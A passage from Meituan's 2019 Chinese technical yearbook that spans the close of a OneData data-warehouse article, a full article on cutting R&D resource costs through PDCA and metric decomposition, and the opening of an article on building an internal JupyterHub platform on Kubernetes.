日期类型 字符日期类 string varchar 10 date
YYYY-MM-

DD

日期清洗为相

应的格式

数据类型 数量类 bigint bigint 10 0 cnt 活跃门店数量

…… …… …… …… …… …… …… ……

结合模型与规范，形成模型设计及模型评审两者的工作职责，如下图所示：

图 10　模型设计和审计职责
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统一应用归口

在对原有的应用支持流程进行梳理的时候，我们发现整个研发过程是烟囱式。如

果不进行改善就会导致前面的建设”毁于一旦“，所以需对原有应用支持流程进行改

造，如下图所示：

图 11　应用归口

从图中可以看出，重构前一个应用存在多次迭代，每次迭代都各自维护自己的文

档。烟囱式开发会导致业务信息混乱、应用无法与文档对齐、知识传递成本、维护成

本和迭代成本大大增加等问题。重构后，应用与知识库相对应，保证一个应用只对应

一份文档，且应用统一要求在一份文档上进行迭代，从根源上改变应用支持流程。同

时，针对核心业务细节和所支撑的数据信息，进行了全局调研并归纳到知识库。综合

统一的知识库，降低了知识传递、理解、维护和迭代成本。

统一归口策略包含业务归口统一、设计归口统一和应用归口统一，从底层保证了

数仓建设的三特性和三效果。

统一数据出口

数仓建设不仅仅是为了数据内容而建设，同时也为了提高交付的数据质量与数据

使用的便利性。如何保证数据质量以及推广数据的使用，我们提出了统一数据出口策

略。在进行数据资产管理和统一数据出口之前，必须高质量地保障输出的数据质量，

从而树立OneData 数据服务体系的权威性。



408　>　美团 2019 技术年货

1. 交付标准化

如何保证数据质量，满足什么样的数据才是可交付的，是数据建设者一直探索的

问题。为了保证交付的严谨性，在具体化测试方案之前，我们结合数仓的特点明确了

数据交付标准的五个特性，如下图所示：

图 12　交付标准化

《交付标准化》完善了整个交付细节，从根本上保证了数据的质量，如：业务测

试保障数据的合理性、一致性；技术测试保障数据的唯一性、准确性；数据平台的稳

定性和后期人工维护保障数据的及时性。

2. 数据资产管理

针对如何解决数据质量中维度与指标一致性以及如何提高数据易用性的问题，我

们提出数据资产的概念，借助公司内部平台工具“起源数据平台”实现了整个数据资

产管理，它的功能如下图所示：



大数据　<　409

图 13　起源功能体系

借用起源数据平台，我们实现了：

	● 统一指标管理，保证了指标定义、计算口径、数据来源的一致性。

	● 统一维度管理，保证了维度定义、维度值的一致性。

	● 统一数据出口，实现了维度和指标元数据信息的唯一出口，维值和指标数据的

唯一出口。

通过交付标准化和数据资产管理，保证了数据质量与数据的易用性，同时我们也

构建出OneData 数据体系中数据指标管理的核心。

实践的成果

流程改善

我们对开发过程进行梳理，服务于整个OneData 体系。对需求分析、指标管

理、模型设计、数据验证进行了改善，并结合OneData 模型策略，改善了数仓管理

流程。
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图 14　数仓管理流程

数仓全景图

基于OneData 主题建设，我们采用面向业务、面向分析的建设策略，形成数仓

全景图，如下图所示：

图 15　数仓全景图
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资产管理列表

基于起源数据平台形成的资产管理体系，如下图所示：

图 16　数据资产管理

项目收益

基于 OneData 建设成果，我们结合实际项目建设样例，对比以前未进行

OneData 建设时的收益。如下图所示：



412　>　美团 2019 技术年货

1

图 17　价值收益

总结和展望

我们结合了OneData 核心思想与特点，构建一种稳定、可靠的基础数据仓库，

从底层保障了数据质量，同时完成 OneData 实践，形成自有的 OneData 理论体

系。未来，我们还将在技术上引入实时数据仓库，满足灵活多样、低延时的数据需

求；在业务层面会横向拓展其他业务领域，不间断地支撑核心业务的决策与分析。

下一步，我们将为企业级 One	Entity 数据中台（以 Data	As	a	Service 为理念），
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提供强有力的数据支撑。在后续数仓维护过程中，不断地发现问题、解决问题和总

结问题，保障数据稳定性、一致性和有效性，为核心业务构建价值链，最终形成企

业级的数据资产。

作者
禄平，周成，黄浪，健平，高谦，美团数据研发工程师。
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研发团队资源成本优化实践

刘强　建钟　小英　杨轩　云杰　方旭　鹏文

背景

工程师主要面对的是技术挑战，更关注技术层面的目标。研发团队的管理者则会

把实现项目成果和业务需求作为核心目标。实际项目中，研发团队所需资源（比如物

理机器、内存、硬盘、网络带宽等）的成本，很容易被忽略，或者在很晚才考虑。

在一般情况下，如果要满足更多的技术指标如并发量和复杂度等，或者满足峰值

业务的压力，最直接有效的方法就是投入更多的资源。然而，从全局来看，如果资源

成本缺乏优化，最终会出现如下图所示的“边际效用递减”现象——技术能力的提升

和资源的增幅并不匹配，甚至资源的膨胀速度会超过技术能力的提升，从而使技术项

目本身的ROI 大打折扣。

从笔者十余年的工作经验来看，资源成本优化宜早不宜迟。很多管理者在业务发

展的较前期阶段，可能并没有意识到资源成本膨胀所带来的压力。等到业务到了一定

规模，拿到机器账单的时候，惊呼“机器怎么这么费钱”，再想立即降低成本，可能
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已经错过了最佳时机，因为技术本身是一个相对长期的改造过程。

所以，正在阅读此文的读者，假如你已经感觉到了成本膨胀的压力，或者正在做

成本控制相关的工作，恭喜，这是幸福的烦恼，贵公司的业务体量应该已经达到一定

规模，同时也说明你的管理意识可能已经超前于业务发展了（握手）。

本文我们将分享美团到餐研发团队的资源成本优化实践。

实践

像美团这种体量的公司，资源的提供方包括多个团队，除了到店餐饮研发团队自

用的资源外，还有多个兄弟团队也提供了资源支持或者联合共建，比如SRE、大数

据团队、风控团队、广告团队等等。在每个月拿到成本账单之后，我们都需要抽丝剥

茧，对每一项进行拆解，才能制定对应的解决策略，具体流程如下图所示。

1. 确定方法论

“凡事预则立，不预则废”。在做一件事之前，要充分评估整个工作完整生命周期

的要素，并进行整体工作框架的设计，一个科学的方法论是十分有必要的。成本优化
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遵循的是一个行业内成熟的 P（Plan）D（Do）C（Check）A（Act）方法论，在每个

阶段都又有对应的二次迭代和微循环。具体方法论如下：

	● 在 Plan 或 Standard 阶段要做的事：建立意识 ->确定目标 ->分析现状 ->

确定评价指标。

	● 在 Do 执行阶段要做的事：分解原子项目 ->确定方案 ->落实到人 ->优化原

子指标。

	● 在 Check 检查阶段要做的事：规定动作检查 ->行动结果评估 ->系统问题定

位 ->修正标准动作。

	● 在 Act 优化处理阶段要做的事：定期复盘 ->形成报告 ->迭代认知 ->升级

方法论 ->下阶段目标。

2. 计划规划阶段（Plan&Standard）

在这个阶段的核心目标是：用 2-3 个指标来衡量自己的工作。很多工作之所以

最后失败，很多时候是相关人员根本没有办法用具体可衡量的指标来衡量自己的工

作，这样对于工作结果，只能有一个“定性”的认识（比如很好，很不错，不好，较

差），而无法做到“定量”。

对于研发人员来讲，不能定量的结果是不够科学的，具体如何确定指标，或者确

定哪些指标作为工作目标，其实也是一门学问（有机会另外发文章讨论）。这个阶段的

几个建议步骤为：

	● 建立意识。这个是团队 Leader 的首要责任，要让团队成员明白自己在资源上

花了多少钱，成本控制是不是一件真正有意义和价值的事，要做到大家认知一

致。虽然见到过一些团队在提倡成本控制，但是落实到具体行动时，却流于形

式或者无从下手，最后只能停留在口头上，并没有产生实际的效果。

	● 确定目标。这个过程相对宏观，也可以认为是“定性”的阶段。在这个阶段要

明确的就是，在成本控制这件事上，后续动作要解决的问题是什么？比如有些

团队是总体成本偏高，但有些团队总成本并不高，而是应该增加成本，有些团
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队是非核心服务消耗的成本偏高，这些目标都需要经过团队成员讨论后得到一

致的结果。在后续阶段的迭代中，也可以进行不断地修正。就像“客户永远不

知道自己的需求”一样，很多人是不清楚自己的目标的，可以使用SMART原

则来明确目标。

	● 分析现状。对成本这件事，罗列相关的数据，尽可能多地帮助自己做判断。自

己团队在成本优化这件事上，处在哪一个阶段，哪些工作有可能被进一步优

化，在此阶段要明确出来。

	● 确定评价指标。对于不同的专业序列，甚至对于同一专业序列的不同人员，大

家对于成本的评价指标都不一样。这个阶段要做到最终的收敛，把团队未来成

本优化的结果，用明确的数据表示出来。具体在到餐研发团队，我们确认了 2

个优化的核心指标：总成本、总订单成本。后续大家所有努力的目标，如果跟

这两个指标没有关系或者弱相关，都可以忽略。

本阶段最大的经验是“知易行难”，虽然拍脑袋想出来一两个方向和目标很容易，

但是最后用数据论证现状时，如何判断自己这个指标是“优秀”、“良好”还是“不

及格”？对标的团队是谁？为什么对标的对象是 TA？都是需要从人员规模、业务阶

段、业务量、行业特点等方面考虑仔细，也需要想清楚，其工作量甚至不比实际干活

阶段小。

3. 执行阶段（Do）

3.1　建立思考流程

在执行阶段的流程是：分解原子项目 ->确定方案 ->落实到人 ->优化原子指

标。在这里包括两个核心要素：1）把核心指标相关的工作向下一层分解；2）在下一

层，找到具体的人来执行，这个人要具备将自己负责的指标继续分解到更细的能力，

类似于我们说的树状结构。这样层层地分解下去，每一层的叶子节点都可以找到对应

的负责人。这种“总分”结构，在一本经典教程《金字塔原理》中也有详细的阐述。

	● 分解原子项目。在本阶段要建立一个完全细化的分级结构，用金字塔原理中

的”MECE不重不漏”原则，将工作内容分解到最细的可控粒度。至于按哪个
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维度进行拆分，不同的团队或者业务可能会有不同的原则，比如有些团队直接

按子团队进行拆分，有些团队按业务进行拆分，有些团队按流程进行拆分。从

较多团队通用的角度，成本控制这件事，可以简单的将指标分解到二级指标，

包括“自身使用的成本”和“被分摊的成本”。其中，“自身使用的成本”是

指，为了满足自己业务的需要，由本技术团队申请或者使用资源产生的成本；

“被分摊的成本”是指，由于根据某种计算逻辑，间接使用了其他团队的资源，

为其他技术团队承担一部分成本费用，比如常见的资源包括公司其他团队开发

的广告、投放、风控、安全等系统。如果可以分拆到具体的系统，则每个系统

又可以继续向下拆分到更细粒度的构成项目，每个节点都是一个小的“总分”

结构，按这个逻辑继续向下分解，可以分为“可落地的最细粒度的成本”和

“可落地的最细粒度的分摊成本”。

再根据开篇描述的方法，确定每个原子的评价指标，无法量化的项目都是“耍流

氓”。这样就形成了一个更完整的金字塔结构，如下图所示：
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	● 确定方案。根据上面的金字塔结构，每个原子指标，都需要专业的同学来评价

分析，确定如何进行优化。比如，系统主机的成本，主要集中在虚拟机 +存储

这样的资源上，衡量的指标可以确定为“资源利用率”和“单订单成本”，为

了解决“资源利用率”这个原子指标，就需要考虑目前的空闲机器是否可以下

线，在线的服务是否可以优化或者合并；为了解决“单订单成本”这个指标，

可以考虑分析下系统架构，跟核心流程处理有关的服务是否可以更加高效或者

抽象出来成为服务中台，这样就可以释放一些”烟囱式”的建设资源，使得核

心处理能力更加集中、高效。类似这样将所有的解决方案整合起来，就形成了

最后的解决方案。

	● 落实到人。有了方案之后，一定要确定唯一的Owner（主 R），根据经验，主

R只有一个会比较好，否则会造成“责”、“权”、“利”分割不清。在这个过程

中，也是培养团队技术能力和架构能力的好机会。

	● 优化指标。不同的方案，实施的周期和代价不同，各个主R深入到不同专业

后，会对目前的资源指标有分析和反馈，有可能理论上所有的指标都需要优

化，也有可能一些指标已经很好了，这时候要甄别出来哪些资源指标的实施

“杠杆率”比较高，建议应用 80/20 原则进行分析，即某些指标投入 20%的

资源和精力可以解决最后 80%的核心问题，保证投入适合的工作量带来较高
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的产出。对于没有解决方案的资源或者实施难度过大的资源，建议果断放弃或

者搁置。

3.2　实践分析框架

在具体实践中，我们可以把以上的过程，再次用一个金字塔结构来表述，如下图

所示：

建立了以上的结构，就可以根据各个专业的不同，对各自的指标进行优化了，如

果最细一级的指标被成功优化之后，最上层的指标一定会有下降。因为上述指标都有

其各自深层次的业务、技术，甚至是财务上的逻辑，故在此把一些需要关注的概念再

赘述一下 .

很多公司每个技术团队的机器成本，在财务上叫做“网站运维成本”（网站？听

起来还像PC时代的概念对不对），从顶层可以分为两类构成因素，就是“自己产生

的成本”（自己用的）和“被分摊的成本”（别人替你用的）两大类。跟自己有关的继续

向下钻取，可以分为交易相关的资源成本（跟业务流程相关的）以及跟分析有关的大

数据成本（分析、算法、决策相关）。

3.2.1　业务主机成本

大部分业务系统的团队，使用的资源成本都包含在这个部分，比如商户研发

团队、订单系统研发团队、前端研发团队、供应链研发团队、营销系统研发团队、
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CRM研发团队等。这些资源典型的物理载体就是物理机、虚拟机、容器资源以及对

应的机器连接的存储（DB、缓存、K-V数据库等）资源，还会包含由于交换、存储

以上资源之间的数据产生的带宽、云资源、CDN等。

这部分资源，我们从控制成本的角度，最浅的层次，建议关注服务组（OWT）所

消耗主机的资源利用率，如果资源利用率较低的主机数量较多，建议及时下线。同

时，从技术方案本身来说，任何一个服务承载的业务能力和消耗资源之间，会有相对

的一个“比例”或者权重。某些高利用率的服务从架构上是否可以重构、解耦或者改

造，也非常有利于节省资源。这块内容到餐技术部在过去一年的工作中，对于核心、

非核心的服务都进行了梳理，对于其中可以优化的服务也进行了部分重构。相比年

初，很好的降低了资源的成本，业务主机成本的两个主要指标的变化情况如下（备注，

后续由于新增其他业务导致成本略有上升）：

3.2.2　大数据成本

数据行业在互联网的应用目前已经较为成熟，行业主流的数据处理架构都是

Yarn	2.0 或者类似框架，核心的资源消耗主要基于Container（Vcore+Mem）的计

算资源 +基于HDFS的存储资源消耗这两部分：

第一部分，是存储资源的消耗，行业通用的模型是基于物理HDFS或自研的类
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似存储引擎，这部分主要是指离线ETL用来按分区（一般是按时间戳）进行存储的资

源，由于数据仓库的核心理念之一是保存“所有”的数据，并在此基础上按照维度建

模理论对数据进行预汇总、加和。但是，由于对于模型建设本身的理解深度不同，故

在基础数据之上的数据冗余，在很多数据研发人员看来是理所应当的，进而导致存储

资源的快速膨胀，这是每个数据团队在管理过程中面临的难题。

在此，到餐研发团队主要采取了两种手段：

1.	对于数据模型的热度进行了分级，把数据分为冷、温、热数据，对于需要保

留的数据才保存在生产环境的HDD、SSD中，对于不重要的冷数据，通过

异构的方式存入其他介质中。

2.	对于数据模型本身，需要重新思考数据的价值和存储，在数据的中间层（汇聚

层），对数据模型进行重构，这也是很多数据团队忽略的基本功部分。

到餐数据团队对于数据仓库进行了二次迭代，每次都基于新的业务模式，重新构

建中间层以及之上的集市、宽表层，有效节省了空间。还有一种技术手段是压缩，比

如流量的数据往往是存储大户，但是流量数据相对的格式比较固定，所以很多流量数

据可以进行压缩或者改变其存储格式（如map 型），根据实测可以节省 20%以上的

流量数据空间。

另外需要补充的，还有一部分 OLAP 存储资源，也会消耗大量资源，比如

Kylin、Elasticsearch、Druid、MySQL 等，这些数据库主要用来将基于HDFS上

的文件，同步到前端可以直接访问的介质上，供系统访问。这部分资源有些也是基于

HDFS的（如Kylin、HBase），有些需要单独的存储介质，也需要关注其膨胀速度以

及存储周期。

第二部分，是计算资源的消耗，主要满足基于复杂规则的分析或者机器学习算法

中的计算，也就是实时 ETL 计算和离线 ETL 计算的场景（代表性的引擎如 Storm、

Flink 的计算还有MapReduce 的计算）。这部分计算消耗的资源类似于业务系统，可

以参照业务系统的“资源利用率”确定几个指标，进行机器优化或者算法逻辑优化。
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3.2.3　分摊成本（一）风控及反爬

在某些公司里，某个技术团队开发的内容，有可能为了服务其他团队业务，比如

前文中提到的风控、反爬、广告等，会为各种业务提供基础的技术能力。这时候就涉

及到一个重要的概念“分摊”。分摊有两种规则，一种是按“实际用量进行”，另外一

种是按照“使用比例”进行，这两种模式之上，可能还有混合计费模式，即“按照实

际发生的比例进行整体费用的分摊”，做成本控制时，就要清楚地知道这部分成本是

按哪种逻辑来进行计算的。

在风控及反爬的实践中，美团的风控及反爬按照整体风控技术团队的总体成本，

按比例分摊给业务团队。所以作为业务团队，如果试图降低这部分成本，也要关注两

个组成项：一是自己使用的风控及反爬的原子业务数量的绝对值，对每天风控及反爬

的总体请求次数是否合理需要进行判断，以保证自己的业务请求量不增加；二是自己

业务使用的比例。需要跟相关技术团队一起进行分析，以防止某些场景下，自身业务

使用的绝对值下降了，但是因为其他业务绝对值下降的更快，导致自己比例反而上

升，进而导致成本上升。
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3.2.4　分摊成本（二）安全数仓成本

为了保证各个业务团队之间的离线数据交换，美团集团层面建设了安全数据仓

库，用来满足跨团队之间的数据交换。这部分的费用也按照实际发生的资源占比进行

统计，所以同理，为了降低成本，需要关注两个组成项目：一是自己使用的数量，从

架构设计上能否将相关数据模型的效率提升、降低空间是关键因素；二是自己的使用

资源在整体资源的占比，这时候也需要跟相关团队一起努力降低总成本。很多公司的

技术团队，也有类似的数据共享仓库或者共建仓库的概念。

3.2.5　分摊成本（三）广告成本

很多互联网公司都有做广告业务的技术团队，广告的形式主要有按点击收费

CPC，按时长收费CPT等等，这部分分摊的逻辑同上述两者，也是按最终的总费用

中的占比进行分摊。但是这块有一个需要关注的点是，由于广告的业务逻辑并不在到

餐自己的业务方，也就是说归到餐研发团队可以控制的部分较小，故在这个过程中需

要建立有效的评价体系，来衡量广告分摊的费用，在此采用的指标是“千次曝光成

本”和“千元广告收入成本”，这里仅供大家参考。
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3.2.6　其他成本

除了以上梳理的项目之外，每月还会有一些新增的成本项目加入进来，团队要保

持足够的关注。在实践中会发现某项成本在个别月份突然升高，这时候就要找到是新

增加了项目，还是某个指标在业务或者算法上有所调整。

4. 检查（Check）

在这个阶段，建议关注以下结果：

	● 规定动作检查。规定的方案是否执行？相关的同学是否按照规定的动作进行了

相对应的行动？这个阶段只关注过程不关注结果，而且更多的是关注执行人、

配合方、时间点，用项目管理的思路来运营。

	● 结果评估。之前梳理出来的指标是否得到了优化？这个过程是在验证结果，各

项指标中得到优化和未优化的都要整理出详细的 List，有些指标如“资源利用

率”是立即可以查看结果的，有些结果是需要周期性的时间才能获得。在这个

基础上可以继续深入反向思考，按“指标定义是否有问题 ->方案制定是否有

问题 ->执行人是否有问题 ->配合方是否有问题”这个流程来进行评估。

	● 系统问题定位。在这个过程中，可以做到小范围闭环，建议针对某个指标的优

化方案可以设计多套，方案A不行马上迭代成方案B，快速试错，找到合理的

方案。
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	● 修正标准动作。在执行的过程中，很多方案和动作，都是在一线现场发现和修

正的，不需要等待大规模复盘的时候再提出问题和总结，主R要具备这样的

意识，在执行过程中多说多问，找到关键要素，相信每个同学都有过这样的经

历。经历过某个完整项目生命周期的同学，往往也是团队内成长最快的骨干。

在到餐研发团队的实践中，业务系统的指标定义上也有类似的经验可以分享。开

始进行优化工作的时候，定义了非常多的的项目和指标，比如业务主机分为云存储、

带宽、CDN、Tair、Redis 等等，关注到每一项对于RD投入的时间和精力都是巨

大的损耗，后来经过反复跟相关兄弟团队确认，向上抽象了一层“服务组的资源利用

率”，这时候就不需要关注太多细碎的项目，而只关注与这些服务有关机器的使用情

况，因为机器会自然的消耗CPU、内存、带宽、CDN等，这样可以有效节省运营的

时间成本，把精力集中在优化机器和优化服务架构设计层面。

5. 复盘总结，继续迭代 (Act)
	● 定期复盘。复盘是一个非常重要的能力，个人以为，复盘总结的能力在某种程

度上也代表了自己的“抽象能力 +思考能力 +管理能力”，关于复盘的方法论

书籍很多，这里不再进行赘述。在这个阶段，个人建议关注的点在于两个“知

道”：“知道自己不知道”，通过复盘掌握了成本优化的方法、框架、方案、团

队素质、结果；“不知道自己原来知道”，通过一些结果，知道了自己原来一直

是在正确的道路上还是在错误的道路上前进，把带有“运气”成分的成功，升

华成为一种未来的“习惯性成功”。

	● 形成报告。让第一次看到这个报告的人，也能通过 1-2 次实践，学会成本优化

这件事。

	● 迭代认知。将之前的过程开始深化和迭代，也是再次进行PDCA的过程，反

复打磨自己的抽象能力、思考能力、管理能力，使自己工作深度、广度的ROI

继续提升。在迭代过程中，总会有一些惊喜和收获。从个人来说，原来以为成

本项目仅仅是个管理项目，在不断通过技术手段取得成本优化的过程中，收获

了对架构、技术的理解，并且很多时候需要用创新的手段来解决前人未曾突破
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的问题，另外还收获了 7项跟架构升级、数据压缩、技术处理有关技术专利，

也是技术能力提升的一个佐证。

总结

成本优化这件事，有可能被阶段性忽略，但是重要性一直存在。到餐研发团队通

过将近一年时间的运营，帮助公司节省了几千万的成本。这个过程有时候枯燥，有时

候让人兴奋，有时候又让人懊恼和沮丧，某些时候其实是在拷问自己一个问题：“保证

业务不停的前提下，敢砍掉多余的机器吗？”在管理越来越精细化的今天，相信更多

的有识之士也有一些需求或者进行了一些实践。期待跟行业同侪一起，在保证技术能

力和满足业务的前提下，更加合理使用资源，节约公司成本，不断提升研发团队的效

率，希望本文能给大家带来一些启发。
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特别感谢
在本文及成本优化过程中，得到了美团技术团队李伟、任登君、李闻、谢语宸、洪丹、左普存、

郭树熠、刁士涵等人的支持和帮助，在此表示感谢！



428　>　美团 2019 技术年货

Jupyter 在美团民宿的应用实践

文龙　颖艺

前言

做算法的同学对于Kaggle 应该都不陌生，除了举办算法挑战赛以外，它还提供

了一个学习、练习数据分析和算法开发的平台。Kaggle 提供了Kaggle	Kernels，方

便用户进行数据分析以及经验分享。在Kaggle	Kernels 中，你可以 Fork 别人分享

的结果进行复现或者进一步分析，也可以新建一个Kernel 进行数据分析和算法开发。

Kaggle	Kernels 还提供了一个配置好的环境，以及比赛的数据集，帮你从配置本地

环境中解放出来。Kaggle	Kernels 提供给你的是一个运行在浏览器中的 Jupyter，

你可以在上面进行交互式的执行代码、探索数据、训练模型等等。更多关于Kaggle	

Kernels 的使用方法可以参考	Introduction	to	Kaggle	Kernels，这里不再多做阐述。

对于比赛类的任务，使用Kaggle	Kernels 非常方便，但我们平时的主要任务还

https://towardsdatascience.com/introduction-to-kaggle-kernels-2ad754ebf77


大数据　<　429

是集中在分析、处理业务数据的层面，这些数据通常比较机密并且数量巨大，所以就

不能在Kaggle	Kernels 上进行此类分析。因此，大型的互联网公司非常有必要开发

并维护集团内部的一套「Kaggle	Kernels」服务，从而有效地提升算法同学的日常

开发效率。

本文我们将分享美团民宿团队是如何搭建自己的「Kaggle	Kernels」——	一个

平台化的 Jupyter，接入了大数据和分布式计算集群，用于业务数据分析和算法开

发。希望能为有同样需求的读者带来一些启发。

美团内部数据系统现状

现有系统与问题

算法同学在离线阶段主要包含三类任务：数据分析、数据生产、模型训练。为满

足这些任务的要求，美团内部也开发了相应的系统：

	● 魔数平台：用于执行SQL查询，下载结果集的系统。通常在数据分析阶段使用。

	● 协同平台：用于使用SQL开发 ETL的平台。通常用于数据生产。

	● 托管平台：用于管理和运行Spark 任务，用户提供任务的代码仓库，系统管理

和运行任务。通常用于逻辑较复杂的 ETL、基于 Spark 的离线模型训练 / 预

测任务等。

	● 调度平台：用于管理任务的依赖关系，周期性按依赖执行调度任务。

这些系统对于确定的任务完成的比较好。例如：当取数任务确定时，适合在魔数

平台执行查询；当Spark 任务开发就绪后，适合在托管平台托管该任务。但对于探索

性、分析性的任务没有比较好的工具支持。探索性的任务有程序开发时的调试和对陌

生数据的探查，分析性的任务有特征分析、Bad	Case 分析等等。

以数据探索为例，我们经常需要对数据进行统计与可视化，现有的做法通常是：

魔数执行SQL	->	下载 Excel	->	可视化。这种方式存在的问题是：

	● 分析和取数工具割裂。

	● 大数据分析可视化困难。
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以 Bad	Case 分析为例，现有的做法通常是：

这种方式存在的问题是：

	● 分析与取数割裂，整个过程需要较多的手工操作。

	● 分析过程不容易复现，对于多人协作式的验证以及进一步分析不利。

	● 本地 Python 环境可能与分析对象的依赖有冲突，需要付出额外精力管理

Python 环境。

离线数据相关任务的模式通常是取数（小数据 / 大数据）–>	Python 处理（单机 /

分布式）–>	查看结果（表格 / 可视化）这样的循环。我们希望支持这一类任务的工具

具有如下特质：

	● 体验流畅：数据任务可以在统一的工具中完成，或者在可组合的工具链中完成。

	● 体验一致：数据任务所用工具应该是一致的，不需要根据任务切换不同工具。

	● 使用便捷：工具应是开箱即用，不需要繁琐的前置配置。

	● 结果可复现：分析过程能够作为可执行代码保存下来，需要复现时执行即可，

也应支持修改。

探索和分析类任务往往会带来可以沉淀的结果，如产生新的特征、模型、例行报

告，希望可以建立起分析任务和调度任务的桥梁。

我们需要怎样的 Jupyter

参考Kaggle	Kernels 的体验和开源 Jupyter 的功能，Notebook 方式进行探索

分析具有良好的体验。我们计划定制 Jupyter，使其成为完成数据任务的统一工具。

这个定制的 Jupyter 应具备以下功能：

	● 接入 Spark：取数与分析均在 Jupyter 中完成，达到流畅、一致的体验。
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	● 接入调度系统：方便沉淀分析结果。

	● 接入学城系统（内部WiKi）：方便分享和复现。

	● 预配置环境：提供给用户开箱即用的环境。

	● 用户隔离环境：避免用户间互相污染环境。

如何搭建 Jupyter 平台

Jupyter 项目架构

Project	Jupyter 由多个子项目组成，通过这些子项目可以自由组合出不同的应

用。子项目的依赖关系如下图所示：
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这个案例中，Jupyter 应用是一个Web 服务，我们可以从这个维度来看

Jupyter 架构：

Jupyter 扩展方式

整个 Jupyter 项目的模块化和扩展性上都非常优秀。上图中的 JupyterLab、

Notebook	Server、IPython、JupyterHub 都是可扩展的。

JupyterLab 扩展（labextension）

JupyterLab 是 Jupyter 全新的前端项目，这个项目有非常明确的扩展规范以

及丰富的扩展方式。通过开发 JupyterLab 扩展，可以为前端界面增加新功能，例

如新的文件类型打开 / 编辑支持、Notebook 工具栏增加新的按钮、菜单栏增加新的

菜单项等等。JupyterLab 上的前端模块具有非常清楚的定义和文档，每个模块都可

以通过插件获取，进行方法调用，获取必要的信息以及执行必要的动作。我们在提

供分享功能、调度功能时，均开发了 JupyterLab 扩展。JupyterLab 扩展通常采用

TypeScript 开发，开发文档可参考：https://jupyterlab.readthedocs.io/en/stable/

developer/extension_dev.html。

https://jupyterlab.readthedocs.io/en/stable/developer/extension_dev.html
https://jupyterlab.readthedocs.io/en/stable/developer/extension_dev.html
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JupyterLab 核心组件依赖图

Notebook Server 扩展（serverextension）

Notebook	Server 是用 Python 写的一个基于 Tornado 的 Web 服务。通

过 Notebook	Server 扩展，可以为这个Web 服务增加新的 Handler。增加新的

Handler 通常有两种用途：

1.	为 JupyterLab 扩展提供对应的后端接口，用于响应一些需要由服务端处

理的事件。例如调度任务的注册需要通过 JupyterLab 扩展发起请求，由

Notebook	Server 扩展执行。

2.	提供一个前端界面以及对应的后端处理服务。例如 jupyter-rses-

sion-proxy，用于在 JupyterHub 中使用RStudio。

Notebook	Server 扩展开发文档可参考：https://jupyter-notebook.readthed-

ocs.io/en/stable/extending/handlers.html。

##3#	Jupyter	Kernels

Jupyter 用于执行代码的模块叫Kernel，除了默认的 ipykernel 以外，还可以有

https://www.tornadoweb.org/en/stable/
https://jupyter-notebook.readthedocs.io/en/stable/extending/handlers.html
https://jupyter-notebook.readthedocs.io/en/stable/extending/handlers.html
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其他的Kernel 用于支持其他编程语言。例如支持Scala 语言的 almond、支持R语

言的 irkernel，更多详见语言支持列表。

IPython Magics

IPython	Magics 就是那些%、%%开头的命令。常见的Magics 有	%mat-

plotlib	 inline，设置 Notebook 中调用matplotlib 的绘图函数时，直接展示图表在

Notebook 中。执行Magics 时，事实上是调用了该Magics 定义的一个函数。对于

Line	Magics（一个%），传入函数的是当前行的代码；对于Cell	Magics（两个%），

传入的是整个Cell 的内容。定义一个新的 IPython	Magics 仅需定义一个函数，这

个函数的入参有两个，一个是当前会话实例，可以用来遍历当前会话的所有变量，可

以为当前会话增加新的变量；另一个是用户输入，对于 Line	Magics 是当前行，对于

Cell	Magcis 是当前Cell。

IPython	Magics 在简化代码方面非常有效，我们开发了%%spark、%%sql 用

于创建 Spark 会话以及 SQL 查询。另外很多第三方的Magics 可以用来提高我们

的开发效率，例如在开发Word2Vec 变种时，使用%%cython 来进行 Cython 和

Python 混合编程，省去编译加载模块的工作。

IPython	Magics 开发文档可参考：https://ipython.readthedocs.io/en/stable/

config/custommagics.html。

IPython Widgets（ipywidgets）

IPython	Widgets 是一种基于 Jupyter	Notebook 和 IPython 的可交互控件。

与普通可视化不同的是，在控件上的交互会触发和 Python 的通信并执行相应的代

码，Python 上相应的动作也会触发界面实时变化。

IPython	Widgets 在提供工具类型的功能增强上非常有用，基于它，我们实现

了一个线上排序服务的调试和复现工具，用于展示排序结果以及指定房源在排序过

程中的各种特征以及中间变量的值。IPython	Widgets 的开发可以通过组合现有的

Widgets 实现，也可以完全自定义一个，IPython	Widgets 开发文档可参考：https://

ipywidgets.readthedocs.io/en/stable/examples/Widget%20Custom.html。

https://almond.sh/
https://irkernel.github.io/
https://github.com/jupyter/jupyter/wiki/Jupyter-kernels
https://ipython.readthedocs.io/en/stable/config/custommagics.html
https://ipython.readthedocs.io/en/stable/config/custommagics.html
https://ipywidgets.readthedocs.io/en/stable/examples/Widget%20Custom.html
https://ipywidgets.readthedocs.io/en/stable/examples/Widget%20Custom.html
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ipyleaflet

扩展 JupyterHub

Authenticators

JupyterHub 是一个多用户系统，登录模块可替换，通过实现新的Authentica-

tor 类并在配置文件中指定即可。通过这个扩展点，我们实现了使用内部SSO系统登

录 JupyterHub。Authenticator 开发文档可参考：https://jupyterhub.readthedocs.

io/en/stable/reference/authenticators.html。

Spawners

当用户登录时，JupyterHub 需要为用户启动一个用户专用Notebook	Server。

启动这个Notebook	Server 有多种方式：本机新的Notebook	Server 进程、本机启

动Docker 实例、K8s 系统中启动新的 Pod、YARN中启动新的实例等等。每一种

启动方式都对应一个 Spawner，官方提供了多种 Spawner 的实现，这些实现本身

是可配置的。如果不符合需求，也可以自己开发全新的Spawner。由于我们需要实

现 Spark 接入，对 K8s 的 Pod 有新的要求，所以基于 KubeSpawner 定制了一个

Spawner 来解决 Spark 连接集群的网络问题。Spawner 开发文档可参考：https://

jupyterhub.readthedocs.io/en/stable/reference/spawners.html。

https://jupyterhub.readthedocs.io/en/stable/reference/authenticators.html
https://jupyterhub.readthedocs.io/en/stable/reference/authenticators.html
https://jupyterhub.readthedocs.io/en/stable/reference/spawners.html
https://jupyterhub.readthedocs.io/en/stable/reference/spawners.html
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我们的定制

回顾我们的需求，这个定制的 Jupyter 应具备以下功能：

	● 接入 Spark：可以通过配置容器环境以及Spawner 完成。

	● 接入调度系统：需要开发 JupyterLab 扩展以及Notebook	Server 扩展。

	● 接入学城系统：需要开发 JupyterLab 扩展以及Notebook	Server 扩展。

	● 预配置环境：镜像配置。

	● 用户隔离环境：通过定制Authenticators	+	K8s	Spawner 实现容器级别环境

隔离。

我们的方案是基于 JupyterHub	on	K8s。下图是平台化 Jupyter 的架构图，从

上到下可以看到三条主线：1.	分享复现、2.	探索执行、3.	调度执行。

几个关键组件介绍：

	● JupyterLab：交互式执行的前端，开源项目。

	● Jupyter	Server：交互式执行的后端，开源项目。

